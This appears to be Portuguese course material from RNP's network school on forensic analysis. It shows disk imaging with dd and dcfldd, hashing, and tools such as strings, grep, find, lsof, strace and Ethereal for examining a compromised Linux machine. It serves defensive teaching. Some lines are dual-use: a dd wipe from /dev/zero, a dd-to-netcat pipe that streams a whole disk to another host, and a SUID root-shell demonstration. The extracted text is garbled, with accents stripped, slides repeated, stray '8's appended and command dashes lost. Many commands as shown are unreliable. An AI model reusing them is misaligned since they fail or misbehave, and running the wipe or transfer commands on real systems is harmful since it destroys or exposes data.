Aqui mostramos como realizar a cpia do disco de uma mquina suspeita. Este procedimento vale para qualquer tipo de partio, mas em alguns casos, onde o dispositivo de disco no tem uma partio DOS vlida (disco da Sun ou Risc, por exemplo) a especificao do dispositivo diferente. No entanto, como utilizamos Linux, provavelmente seria possvel copi-lo tambm. Estes so os passos para copiar uma partio de um disco para um arquivo de imagem:
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512 conv=noerror8 514017+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s

# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror8 514080+0 records in 514080+0 records out 263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s

Assim deve ser feito sucessivamente para todas as parties existentes no disco. Este mtodo ideal para copiar uma partio hospedada em dispositivos RAID. No caso de ser necessrio copiar todo o disco, a nica modificao a ser feita no comando especificar o dispositivo completo no parmetro if=<dev>.
Anlise forense Sesso de aprendizagem 2

37

Veja o exemplo abaixo:


# dd if=/dev/sda of=/data/dev_sda.img bs=512 conv=noerror8

Outras formas de preservao do disco


Uma ferramenta do pacote forense Sleuth Kit pode ser til para identificar a estrutura do disco ou imagem:
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length 00: ----0000000000 0000000000 0000000001 01: ----0000000001 0000000062 0000000062 02: 00:00 0000000063 0000514079 0000514017 03: 00:01 0000514080 0001028159 0000514080 04: 00:02 0001028160 0016771859 0015743700 05: ----0001028160 0001028160 0000000001 06: ----0001028161 0001028222 0000000062 07: 01:00 0001028223 0016771859 0015743637 08: ----0016771860 0016777215 0000005356

Outras formas de preservao do disco


Voltaremos ao Sleuth Kit na prxima sesso. Por enquanto, importante mostrar como as parties esto divididas no disco, e que possvel existirem espaos vazios entre as parties, que podem ser utilizados pelo hacker para armazenar dados invisveis ao sistema operacional. Por exemplo, a tabela de partio fica armazenada no setor 0, e normalmente tem tamanho de um bloco. Os outros 62 blocos at o incio da primeira partio esto livres.

Description Primary Table (#0) Unallocated Linux Swap (0x82) Linux (0x83) DOS Extended (0x05) Extended Table (#1) Unallocated Linux (0x83) Unallocated

Ao copiar a estrutura completa do disco, teremos as parties do sistema, tabelas e estruturas do sistema de arquivos. Para ter acesso s parties e seus contedos, precisamos separar as parties. Uma ferramenta do pacote forense Sleuth Kit pode ser til para identificar a estrutura do disco ou imagem:
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8 DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End 00: ----0000000000 0000000000 01: ----0000000001 0000000062 02: 00:00 0000000063 0000514079 03: 00:01 0000514080 0001028159 04: 00:02 0001028160 0016771859 05: ----0001028160 0001028160 06: ----0001028161 0001028222 07: 01:00 0001028223 0016771859 08: ----0016771860 0016777215

Length 0000000001 0000000062 0000514017 0000514080 0015743700 0000000001 0000000062 0015743637 0000005356

Description Primary Table (#0) Unallocated Linux Swap (0x82) Linux (0x83) DOS Extended (0x05) Extended Table (#1) Unallocated Linux (0x83) Unallocated

Outras formas de preservao do disco


Com estas informaes possvel extrair as parties individuais da imagem do disco completo:
# dd if=/dev/sda of=/data/dev_sda1_swap_raw.img bs=512 count=514017 skip=63 514017+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 12.2563 seconds, 21.5 MB/s # sha1sum dev_sda1_swap.img dev_sda1_swap_raw.img 6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap.img 6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap_raw.img

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP

38

Outras formas de preservao do disco


Verso melhorada do DD, com capacidade de gerar um hash automaticamente:
# dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100M split=50M 103936 blocks (50Mb) written. 150528 blocks (73Mb) written. 514048 blocks (251Mb) written. 514080+0 records in 514080+0 records out # cat dev_sda2_root.sha1 0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97 104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1 209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da

No CD do Helix, existem outras ferramentas para facilitar a coleta de imagens de disco, como uma verso melhorada do DD, com capacidade de gerar um hash automaticamente:
# dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror8 hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100 M split=50M 103936 blocks (50Mb) written. 150528 blocks (73Mb) written. 514048 blocks (251Mb) written. 514080+0 records in 514080+0 records out

# cat dev_sda2_root.sha18 0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97 104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1 209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da

Adepto Interface grfica para utilizar o dcfldd e outras ferramentas de coleta. Contm muitas opes para gerao, armazenagem e verificao da imagem, alm de manter um registro de todas as operaes realizadas.
# /usr/local/bin/adepto.sh8

Anlise forense Sesso de aprendizagem 2

39

Concluses
Disponibilizar em sua estao forense o mximo possvel de espao, processamento e memria. Usar sistema operacional flexvel e confivel. Possuir ferramentas prontas e atualizadas no atendimento inicial a um incidente. Evitar comprometer evidncias, coletando primeiro as informaes mais volteis: Memria RAM, informaes de rede, processos em execuo, cpia do disco rgido, logs, histricos. Estudar as ferramentas disponveis no Live-CD

Concluses
Como a anlise de mdia necessita de muitos recursos computacionais, quanto mais espao, processamento e memria houver em sua estao forense, melhor. No atendimento inicial a um incidente, o investigador deve ter suas ferramentas prontas e atualizadas. Um Live-CD especfico para anlise forense pode ser muito til para quem no pode manter um conjunto de ferramentas sempre atualizadas.

Deve-se evitar comprometer evidncias, coletando primeiro as informaes mais volteis: memria RAM, informaes de rede, processos em execuo, cpia do disco rgido, logs, histricos. Estude as ferramentas disponveis no Live-CD, pois elas podem facilitar significativamente o trabalho. Na prxima sesso veremos ferramentas e tcnicas para coleta de evidncias a partir da imagem do disco de uma mquina comprometida.

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP

40

Anlise forense Sesso de aprendizagem 2

2
Sesso de aprendizagem 2 Ambiente e ferramentas de anlise forense Roteiro de atividades
Tpicos e conceitos
\\Identificao

das ferramentas necessrias de hardware, sistema operacional e de informaes volteis.

Live-CD.
\\Preservao

Competncias tcnicas desenvolvidas


\\Elaborao

de uma lista de hardware e software necessrios para iniciar uma investigao; de coleta de evidncias volteis no computador.

\\Realizao

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

42

Atividade 1 Kit do investigador


Juntamente com um colega, crie uma lista de hardwares e softwares que poderiam ser utilizados por um investigador forense. Seja bem especfico. Procure na internet os equipamentos que o investigador poderia ter em sua maleta de ferramentas (dica: hubs, placas wireless, equipamentos para cpia de disco). D exemplos destes equipamentos encontrados na internet.

Atividade 2 Coleta de informaes volteis


1. Durante a parte terica, voc coletou a memria RAM da mquina virtual. Esta uma evidncia importante no s por conter dados dos programas em execuo, mas tambm porque, muitas vezes, os dados permanecem na memria mesmo aps o programa terminar. Examine o contedo desde arquivo, descrevendo dados interessantes que voc pode encontrar na memria, como textos em programas textos de ajuda, templates, mensagens de erro etc. Seria possvel encontrar senhas na memria? E textos que deveriam estar criptografados em formato de texto puro? Prepare um pequeno relatrio de situaes onde estes tipos de dados podem ser comprometidos, caso a memria da mquina seja pesquisada durante a execuo de um programa. Pesquise na internet se existem ferramentas que permitem analisar a memria RAM de uma forma mais estruturada (a pesquisa pode ser feita em dupla). Utilizando os comandos vistos durante essa sesso, vamos examinar todas as informaes que podem ser coletadas a respeito de um binrio em memria. Escolha um processo qualquer em sua mquina (ex: sshd, pump, bash etc) e prepare um relatrio com todas as informaes que encontrar sobre ele, sem modificar nenhuma informao em disco, isto , sem acessar o binrio fisicamente no disco. O relatrio dever conter, no mnimo, os seguintes itens: nome do processo, PID, sockets ou conexes de rede utilizados, memria ocupada pelo programa, local onde o binrio est armazenado no disco, linha de comando utilizada na execuo do processo, raiz e diretrio corrente do processo, variveis de ambiente, mapa de utilizao da memria com explicaes sobre a estrutura, e o prprio binrio.

2.

Anlise forense Sesso de aprendizagem 2

3
Sesso de aprendizagem 3 Ambiente e ferramentas de anlise forense (parte 2)
Sumrio da sesso
Software bsico de rede . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 Informaes sobre executveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 Pacote forense de ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 Ferramentas do nvel de sistema de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . 56 Ferramentas do nvel de nomes de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 Ferramentas do nvel de metadados. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 Ferramentas do nvel de blocos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 Outras ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 CD de ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 Atividade 1 Investigando o disco . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 Atividade 2 Uso do Sleuth Kit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70

Escola Superior de Redes RNP

44

Software bsico de rede


Nem sempre ser necessria a utilizao de ferramentas complicadas para realizar uma anlise. O Linux dispe de timas ferramentas para auxiliar o trabalho de investigao. Estas ferramentas bsicas so importantes para a investigao, e o analista deve conhec-las muito bem. Tambm existem verses destas ferramentas para Windows, mas precisam ser instaladas parte. No Linux, elas j acompanham o sistema.

Software bsico de rede


Este exemplo pode ser til para tentar detectar no disco a presena de texto que poderia indicar o comprometimento da mquina. Por exemplo, as mensagens presentes em uma ferramenta de rootkit. A diferena, neste caso, que acessando diretamente o dispositivo de disco no modificamos informaes importantes no sistema de arquivos, tal como a data de acesso/modificao dos arquivos. strings Extrai mensagens de texto de um arquivo. Esta uma das principais ferramentas do investigador. Com ela possvel detectar rapidamente se existe algum contedo interessante em um arquivo suspeito. Pode ser usada tanto em arquivos comuns como diretamente em um arquivo de dispositivo. Exemplo:
# strings a /bin/bash8 # strings a /dev/sda1 > /data/dev_sda1_swap.img.str8

Software bsico de rede


strings Extrai mensagens de texto de um arquivo.
# strings a /bin/bash # strings a /dev/sda1 > /data/dev_sda1_swap.img.str

Com o comando acima criamos um arquivo com todas as mensagens contidas no dispositivo /dev/sda1. Este arquivo pode ser usado para detectar a existncia no dispositivo de algum contedo comprometido.

Com o comando acima criamos um arquivo com todas as mensagens contidas no dispositivo /dev/sda1. Podemos utilizar este arquivo para detectar rapidamente se existe algum contedo comprometido no dispositivo. grep Procura por padres em um arquivo. Usado em conjunto com strings torna-se uma ferramenta importante para encontrar evidncias. Exemplo:
# grep -ia -f /data/dirt_list.txt /data/dev_sda2_ro ot.img8 # grep ab Bash version /data/dev_sda2_root.img8 # grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9 ]{1,3} /data/dev_sda2_root.img.str > /data/dev_sda 2_root.img.str.ips8

Software bsico de rede


grep Procura por padres em um arquivo. Usado em conjunto com strings torna-se uma ferramenta importante para encontrar evidncias.
# grep -ia -f /data/dirt_list.txt /data/dev_sda2_root.img # grep ab Bash version /data/dev_sda2_root.img # grep E [0-9]{1,3}\.[0-9]{1,3}\.[09]{1,3}\.[0-9]{1,3} /data/dev_sda2_root.img.str > /data/dev_sda2_root.img.str.ips

No primeiro exemplo do slide, utilizamos um arquivo com palavras suspeitas como padro de busca. O comando mostrar as palavras constantes no arquivo /data/ dirt_list.txt que tambm aparecem na imagem de disco /data/dev_sda2_root.img. No segundo exemplo, o comando imprimir o offset em bytes de onde a sequncia Bash version foi encontrada no arquivo /data/dev_sda2_root.img.

Anlise forense Sesso de aprendizagem 3

45

O ltimo exemplo mostra como utilizar o comando grep para encontrar mensagens a partir de uma expresso regular. Isto torna o grep muito poderoso para encontrar evidncias.

Software bsico de rede


md5sum / sha1sum / sha1deep
Geram um hash criptogrfico dos dados passados como entrada. Exemplo:
# sha1sum /etc/passwd b8e110c1a6834883b1cce60a85d7e8641cf34466/etc/passwd

md5sum / sha1sum / sha1deep Geram um hash criptogrfico dos dados passados como entrada. Estes comandos so importantes para garantir a integridade de evidncias coletadas durante a investigao, bem como verificar a autenticidade dos arquivos armazenados em disco. Exemplo:
# sha1sum /etc/passwd8 b8e110c1a6834883b1cce60a85d7e8641cf34466 /etc/passwd

sha1deep
Utilizado para monitorar a integridade do sistema ou procurar por hashs atravs de uma lista de hashs conhecidos:
# sha1deep -r /bin /lib /sbin > /data/system_hashs.sha1 # sha1deep -r -x /data/system_hashs.sha1 /bin # sha1deep -r -m /data/badfiles_hashs.sha1 /

Podemos monitorar a integridade do sistema ou procurar por hashs atravs de uma lista de hashs conhecidos. Para isso, utilizamos sha1deep, como no exemplo abaixo:
# sha1deep -r /bin /lib /sbin > /data/system_hashs.sha18 # sha1deep -r -x /data/system_hashs.sha1 /bin8 # sha1deep -r -m /data/badfiles_hashs.sha1 /8 \\O

primeiro comando do exemplo cria uma lista de hashs dos arquivos do sistema; segundo comando compara essa lista com os arquivos do sistema para detectar mudanas; terceiro comando procura por assinaturas de ferramentas e arquivos comumente instalados pelo hacker.

\\O

\\O

Procura por arquivos a partir de algumas restries de busca. Pode encontrar arquivos suspeitos no diretrio /dev, arquivos escondidos ou com caracteres estranhos no nome, ou arquivos com permisses especficas. Estes arquivos podem ser suspeitos, pois um arquivo com o bit setuid (stick bit) ligado pode indicar a presena de um root shell. Antes da execuo do comando /data/bla, o usurio em questo era um usurio comum. Aps a execuo, ele passa a ter um shell privilegiado, e seu EUID (Effective User ID) passa a ser zero, indicando que a partir desse momento o usurio passa a ser o super usurio do sistema. Chamamos este tipo de arquivo de root shell, e a forma utilizada normalmente pelo invasor para recuperar o status de super usurio aps invadir e controlar um sistema.

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


Software bsico de rede
find Procura no sistema por arquivos que casem com os padres especificados a partir de algumas restries de busca. Deve ser utilizado com cuidado, pois modifica as datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H "Bash version" {} \; # find /dev not type b and not type c # find /data -name ".[. ]*" # find / -perm +02000 or perm +04000

46

find Procura no sistema por arquivos que casem com os padres especificados a partir de algumas restries de busca. Deve ser utilizado com cuidado, pois modifica as datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H Bash version {} \;8 # find /dev not type b and not type c8 # find /data -name .[. ]*8 # find / -perm +02000 or perm +040008

Software bsico de rede


Pode indicar a presena de um invasor, caso o investigador encontre um programa suspeito com permisses de SUID:
$ ls -l /data/bla -rwsr-xr-x 1 root root 84008 Jan $ id uid=1000(knoppix) gid=1000(knoppix) groups=1000(knoppix) $ /data/bla # id uid=1000(knoppix) gid=1000(knoppix) euid=0(root) groups=1000(knoppix) 6 18:04 /data/bla

Pode indicar a presena de um invasor, caso o investigador encontre um programa suspeito com permisses de SUID:
$ ls -l /data/bla8 -rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla $ id8 uid=1000(knoppix) gid=1000(knoppix) groups=1000(kno ppix) $ /data/bla8 # id8 uid=1000(knoppix) gid=1000(knoppix) euid=0(root) gr oups=1000(knoppix)

Software bsico de rede


file
Tenta identificar o tipo de um arquivo a partir de um banco de assinaturas de arquivos conhecidos. Algumas vezes importante saber o tipo de um arquivo suspeito.
# file /etc/passwd /etc/passwd: ASCII text # file /usr/share/icons/helix.png /usr/share/icons/helix.png: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced # file /bin/bash /bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), stripped.

file Tenta identificar o tipo de um arquivo a partir de um banco de assinaturas de arquivos conhecidos. Algumas vezes importante saber o tipo de um arquivo suspeito.
# file /etc/passwd8 /etc/passwd: ASCII text # file /usr/share/icons/helix.png8 /usr/share/icons/helix.png: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced # file /bin/bash8 /bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), stripped.

O exemplo mostra algumas informaes interessantes que o investigador deve levar em considerao quando estiver analisando arquivos suspeitos. Repare que o resultado do comando indica que o arquivo /bin/bash linkado dinamicamente com bibliotecas compartilhadas.

Anlise forense Sesso de aprendizagem 3

47

Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente, as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso que quando um invasor quiser comprometer os executveis do sistema, basta que substitua as bibliotecas utilizadas por estes programas. Com isso, o hash criptogrfico dos arquivos executveis no mudaria, mas eles no seriam mais confiveis. A segunda coisa importante mostrada pelo comando acima que o arquivo /bin/ bash teve as informaes de debug removidas (stripped). Normalmente, isto feito para diminuir o tamanho dos arquivos, mas tambm dificulta em descobrir a utilidade de um programa, se no temos estas informaes. Encontrar um arquivo suspeito que no tenha as informaes de debug removidas importante e pode auxiliar bastante o investigador.

Software bsico de rede


dd Comando utilizado para copiar dados binrios, que podem ser arquivos ou mesmo dispositivos fsicos. Usado principalmente para realizar cpias fiis de disco.
# dd if=/dev/sda of=/dev/sdb # dd if=/dev/sda of=/data/partition_ table.img bs=512 count=1 # dd if=/dev/zero of=/dev/fd0

dd Comando utilizado para copiar dados binrios, que podem ser arquivos ou mesmo dispositivos fsicos. Usado principalmente para realizar cpias fiis de disco.
# dd if=/dev/sda of=/dev/sdb8 # dd if=/dev/sda of=/data/partition_table.img bs=512 count=18 # dd if=/dev/zero of=/dev/fd08

No primeiro exemplo criamos uma cpia fiel de um dispositivo de disco em outro disco. Para todos os efeitos, o contedo do segundo disco igual ao do disco original. Inclusive o hash MD5 dos dois deve permanecer igual. Com o segundo comando, copiamos apenas um bloco do dispositivo /dev/sda para o arquivo /data/partition_table.img. Este bloco tem 512 bytes de tamanho, e o comando dd instrudo a copiar apenas um bloco. Neste caso, copiamos a tabela de partio do dispositivo, ou seja, as informaes de como as parties esto organizadas no disco. No terceiro exemplo, utilizamos o dispositivo virtual /dev/zero para sanitizar um disquete antes de us-lo para armazenar evidncias. Isto importante para garantir que as evidncias no vo ser confundidas com dados existentes previamente no disquete.

Software bsico de rede


netstat Com este comando pode-se descobrir rapidamente a existncia de portas de rede abertas na mquina ou conexes atualmente estabelecidas. possvel tambm descobrir a existncia de rotas estticas inseridas manualmente. Exemplo: # netstat nap # netstat nr # netstat -nlp

netstat Com este comando pode-se descobrir rapidamente a existncia de portas de rede abertas na mquina, ou as conexes atualmente estabelecidas. possvel tambm descobrir a existncia de rotas estticas inseridas manualmente. Exemplo:
# netstat nap8 # netstat nr8 # netstat -nlp8

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


lsof

48

Software bsico de rede


lsof Importante ferramenta de coleta de evidncias, utilizada para listar todos os arquivos abertos. Em um sistema operacional, qualquer recurso mantm um arquivo aberto.
Conexes de rede, bibliotecas abertas, programas em execuo, tudo vai ser listado pelo lsof.

Importante ferramenta de coleta de evidncias, utilizada para listar todos os arquivos abertos. Em um sistema operacional, qualquer recurso mantm um arquivo aberto. Conexes de rede, bibliotecas abertas, programas em execuo, tudo vai ser listado pelo lsof. Exemplo:
# lsof i8 # lsof U8 # lsof l | grep LISTEN8

# lsof i # lsof U # lsof l | grep LISTEN

O comando lsof importante para detectar comportamento estranho dos programas executados. O que voc acharia, por exemplo, de um programa de edio de textos (o vi, por exemplo), que mantm uma porta TCP aberta? Isto no comum, e pode indicar a existncia de um trojan instalado na mquina.

Software bsico de rede


nc Cria uma conexo de rede com outro computador, ou ento cria um listener em uma determinada porta. Possibilita que o investigador copie arquivos e dados de um computador para outro, no sendo necessrio gravar nada no disco da mquina comprometida, preservando evidncias.
# nc l p 9999 > /data/disco1.img.gz # dd if=/dev/sda1 | gzip -9 c | nc p 9999 <ip_da_estacao_forense>

nc A funo desta ferramenta criar uma conexo de rede com outro computador, ou ento criar um listener em uma determinada porta. Com esta ferramenta, o investigador poder copiar arquivos e dados de um computador para outro, no sendo necessrio gravar nada no disco da mquina comprometida, preservando evidncias. Exemplo:
# nc l p 9999 > /data/disco1.img.gz8 # dd if=/dev/sda1 | gzip -9 c | nc p 9999 <ip_da_ estacao_forense>8

O primeiro comando deve ser executado na estao forense, conectada mesma rede da mquina comprometida. Ele cria um listener TCP na porta 9999, e direciona tudo o que for enviado a essa porta para o arquivo /data/disco1.img.gz. O segundo comando, a ser executado na mquina comprometida, usa o dd para ler o dispositivo /dev/sda1, passa este contedo pelo comando gzip (para compactar o contedo), e depois passa essa sada para o comando nc. Neste caso, o comando nc est sendo utilizado para conexo na porta 9999 remota da mquina com endereo <ip_da_estacao_forense>. Todo o contedo dos dois comandos anteriores ser enviado para esta mquina.

Anlise forense Sesso de aprendizagem 3

49

Software bsico de rede


Ethereal Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o trfego de rede que chega interface monitorada. Exemplo:
# ethereal -i eth0 -n -k -s 65535 -f "dst net 192.168.0.0/16" # ethereal i eth0 w /data/capture.log k f "dst net 192.168.0.0/16 and port 22" # ethereal r /data/capture.log n -f "src net 192.168.0.0/16"

Ethereal Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o trfego de rede que chega interface monitorada. Normalmente o investigador vai utilizar esta ferramenta para monitorar a atividade de rede entrando e saindo da mquina comprometida, a partir da estao forense. Esta pode ser a primeira indicao de que a mquina est comprometida. Exemplo:
# ethereal -i eth0 -n -k -s 65535 -f dst net 192.168.0.0/168 # ethereal i eth0 w /data/capture.log k f dst net 192.168.0.0/16 and port 22 8 # ethereal r /data/capture.log n -f src net 192.168.0.0/168

Os exemplos mostram como executar o Ethereal para monitorar visualmente o trfego de rede que entra e sai da mquina. No segundo exemplo, o trfego direcionado para o arquivo /data/capture.log, para ser examinado posteriormente. Adicionalmente, somente ser capturado o trfego direcionado aos computadores da rede 192.168.0.0/16, e que tenha como origem ou destino a porta 22. No ltimo exemplo, o contedo do arquivo /data/capture.log lido, e somente mostrado o trfego saindo da rede 192.168.0.0/16

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP

50

Informaes sobre executveis


hexdump
Permite a visualizao de arquivos binrios em um formato hexadecimal.
# hexdump # hexdump # hexdump 00000000 * 000001b0 000001c0 000001d0 000001e0 000001f0 -b -d -C 00 00 01 01 01 00 /data/partition_table.img /data/partition_table.img /data/partition_table.img 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 82 83 05 00 00 fe fe fe 00 00 3f 3f ff 00 00 1f 3f ff 00 00 3f 20 40 00 00 00 d8 b0 00 00 00 07 0f 00 00 00 00 00 00 00 e1 20 d4 00 00 d7 d8 3a 00 00 07 07 f0 00 00 00 00 00 00 00 00 00 00 55 01 00 00 00 aa

Informaes sobre executveis


hexdump Algumas vezes pode ser interessante visualizar um arquivo binrio em seu formato original, isto , sem transfom-lo em texto puro. Para visualizar arquivos binrios em um formato hexadecimal, podemos utilizar a ferramenta hexdump. Este comando permite mostrar o contedo de um arquivo binrio em diversos formatos, especificados pelo usurio. Exemplo:

|................| |................| |....?.?.........| |. ..?? ... .....| |.@....@....:....| |..............U.|

# hexdump -b /data/partition_table.img8 # hexdump -d /data/partition_table.img8 # hexdump -C /data/partition_table.img8 00000000 * 000001b0 000001c0 000001d0 000001e0 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00 01 01 01 00 00 00 20 40 00 00 82 83 05 00 00 fe fe fe 00 00 3f 3f ff 00 00 1f 3f ff 00 00 3f 20 40 00 00 00 d8 b0 00 00 00 07 0f 00 00 00 00 00 00 00 e1 20 d4 00 00 d7 d8 3a 00 00 07 07 f0 00 00 00 00 00 00 00 00 00 00 55 01 00 00 00 aa |................| |....?.?.........| |. ..?? ... .....| |.@....@....:....| |..............U.|

Os trs comandos acima mostram o contedo do arquivo /data/partition_table. img nos formatos octal, decimal e hexadecimal+ASCII, respectivamente. Um exemplo da sada do comando hexadecimal+ASCII mostra como a sada do programa. Repare que a segunda linha da sada um caracter *. Isso indica a presena de uma ou mais linhas iguais linha anterior ao *, o que feito para evitar a impresso de diversas linhas iguais.

Informaes sobre executveis


lsattr/chattr Alm das permisses de acesso normais do arquivo (leitura, escrita e execuo), existem permisses extras no sistema de arquivos que permitem controlar o acesso aos arquivos.
# rm -f /data/bla rm: cannot remove `/data/bla': Operation not permitted # lsattr /data/bla ----i------------ /data/bla # chattr -i +u /data/bla

lsattr/chattr Alm das permisses de acesso normais do arquivo (leitura, escrita e execuo), existem permisses extras no sistema de arquivos que permitem controlar o acesso aos arquivos. No Linux, estes atributos extendidos podem ser modificados ou verificados com os comandos lsattr e chattr: append only (a), compressed (c), no dump (d), immutable (i), data journalling (j), secure deletion (s), no tail-merging (t), undeletable (u), no atime updates (A), synchronous directory updates (D), synchronous updates (S), top of directory hierarchy (T). Normalmente o atributo mais utilizado pelos invasores para proteger seus arquivos o immutable.

Anlise forense Sesso de aprendizagem 3

51

Com este atributo, um arquivo no pode ser apagado nem modificado por nenhum usurio do sistema. Exemplo:
# rm -f /data/bla8 rm: cannot remove `/data/bla: Operation not permitted # lsattr /data/bla8 ----i------------ /data/bla # chattr -i +u /data/bla8

Em certas ocasies, um administrador de uma mquina comprometida pode encontrar os arquivos instalados pelo invasor na mquina, e ao tentar remov-los, percebe que no consegue. Mesmo acessando o sistema como root, o sistema diz que no permitido remover tal arquivo. Como vimos no exemplo, um arquivo com o atributo immutable no pode ser removido nem mesmo pelo super usurio. O comando lsattr pode ser utilizado para listar os atributos extendidos dos arquivos, e o comando chattr pode ser utilizado para adicionar ou remover atributos extendidos. Lembre-se de que encontrar um arquivo com atributos extendidos em uma mquina, principalmente se for com o atributo immutable, pode ser um indicativo de comprometimento.

Informaes sobre executveis


strace Permite executar um processo e acompanhar toda a atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sistema, leitura e escrita em filehandles, abertura e utilizao de sockets de rede.
# strace -f -F -i -t -x -p `pidof Xorg` # strace -f -F /usr/sbin/sshd

strace Permite executar um processo e acompanhar toda a atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sistema, leitura e escrita em filehandles, abertura e utilizao de sockets de rede. Pode ser muito til caso o investigador encontre um processo em execuo e queira descobrir mais informaes sobre o mesmo, ou ento se encontrar um binrio desconhecido numa mquina e quiser execut-lo em um ambiente controlado para saber a sua funo. Exemplo:
# strace -f -F -i -t -x -p `pidof Xorg`8 # strace -f -F /usr/sbin/sshd8

No primeiro exemplo, utilizamos o strace para monitorar um processo em execuo. Neste caso, precisamos passar ao parmetro p o PID do processo que queremos monitorar. Para isso, utilizamos o comando pidof Xorg entre aspas invertidas. Esta uma facilidade do shell que permite executar o comando dentro das aspas invertidas, pegar a sada deste comando, e substitu-la na linha de comando no lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate com o nome passado como parmetro.

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP

52

Os outros parmetros deste comando indicam ao strace os threads criados pelo processo (-f -F), para imprimir o timestamp (-t) e para imprimir em hexadecimal qualquer string que contenha caracteres especiais (-x). O segundo comando o formato utilizado para executar um processo atravs do strace, permitindo assim acompanh-lo desde o princpio.

Informaes sobre executveis


readelf Este comando til na anlise de binrios desconhecidos. Ele permite listar uma srie de informaes importantes sobre a estrutura do executvel, facilitando assim um possvel trabalho de anlise desse binrio.
# # # # readelf readelf readelf readelf -h -S -l -e /data/bla /data/bla /data/bla /data/bla

readelf Este comando til na anlise de binrios desconhecidos. Ele permite listar uma srie de informaes importantes sobre a estrutura do executvel, facilitando assim um possvel trabalho de anlise desse binrio.
# readelf -h /data/bla8 # readelf -S /data/bla8 # readelf -l /data/bla8 # readelf -e /data/bla8

Estes parmetros permitem listar sees especficas da estrutura do executvel. O primeiro exemplo lista o cabealho ELF, o segundo lista os cabealhos de cada seo, e o terceiro lista os cabealhos de programa. O ltimo exemplo na verdade um atalho para listar as trs informaes acima simultaneamente. ldd/nm/objdump

Informaes sobre executveis


ldd/nm/objdump
Estas trs ferramentas podem ser utilizadas em uma anlise mais avanada de um binrio desconhecido. Elas permitem descobrir informaes importantes sobre a estrutura, funes e dependncias de um executvel: # # # # # ldd /bin/ntfs-3g nm /bin/ntfs-3g objdump -x /bin/ntfs-3g objdump -D /bin/ntfs-3g objdump -S /bin/ntfs-3g

# ldd /bin/ntfs-3g8 # nm /bin/ntfs-3g8 # objdump -x /bin/ntfs-3g8 # objdump -D /bin/ntfs-3g8 # objdump -S /bin/ntfs-3g8

